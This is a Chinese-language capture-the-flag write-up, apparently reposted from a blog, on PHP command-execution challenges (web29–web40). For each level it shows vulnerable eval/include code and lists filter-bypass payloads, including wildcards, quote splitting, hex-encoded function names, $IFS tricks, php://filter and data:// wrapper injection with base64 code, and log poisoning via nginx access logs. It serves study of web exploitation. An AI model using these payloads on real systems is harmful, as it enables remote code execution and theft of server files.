标签：__ php nl GET echo 命令 CTF 执行 payload

web 29

    <?php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }

我这里只想到五种简便的方法：

    通配符
    payload1:c=system("nl fla?????");
    payload2:c=system("nl fla*");
    payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
    payload4:c=echo `nl flag.php`;//转义字符绕过
    payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
    payload6:c=eval($_GET[1]);&1=system('nl flag.php');
    还有很多姿势，毕竟等于没过滤

web 30

在上一道题的基础上多了system和php

       <?php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|system|php/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }

但是我们可以用其他函数鸭

    system()
    passthru()
    exec()
    shell_exec()
    popen()
    proc_open()
    pcntl_exec()
    反引号 同shell_exec() 

payload:

    c=echo exec('nl fla?????');
    c=echo `nl fla''g.p''hp`;
    c=echo `nl fla?????`;
    还有上一道题的很多payload都可以使用

web 31

过滤了catsort等,空格也被过滤了尝试了一堆方法无果，尝试搞骚得

    <?php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
            eval($c);
        }
        
    }else{
        highlight_file(__FILE__);
    }

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中，查找后缀有 file 字样的文件中包含 test 字符串的文件，并打印出该字符串的行。此时，可以使用如下命令： grep test *file strings

payload:

    c=eval($_GET[1]);&1=system('nl flag.php');
    c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
    c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    c=echo(`nl%09fl[abc]*`);
    c="x73x79x73x74x65x6d"("nl%09fl[a]*");等价于system()
    c=echo`strings%09f*`;
    c=echo`strings$IFS$9f*`必须加转义字符

还有其他姿势：
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

web32

小知识：include不用括号，分号可以用?>代替。
payload:

    c=include$_GET[1]?>&1=php://filter/read=convert.base64-
    encode/resource=flag.php
    c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
    c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33-36

payload:

    c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web37

payload

    c=data://text/palin,<?php system("nl fla*");?>
    还可以配合UA头执行日志包含
    c=/var/log/nginx/access.log

web38

在上一道题的基础上过滤了php，和file
所以

    c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
    也可以日志包含
    c=/var/log/nginx/access.log

web40

    <?php
    //flag in flag.php
    error_reporting(0);
    if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/flag/i", $c)){
            include($c.".php");
        }
            
    }else{
        highlight_file(__FILE__);
    }

payload

    ?c=data://text/plain,<?php system(“cat f*”);?>

参考文章

CTF之命令执行绕过总结
CTF命令执行
nginx(一）之默认配置文件

标签：__,php,nl,GET,echo,命令,CTF,执行,payload
来源： https://www.cnblogs.com/murkuo/p/15159566.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。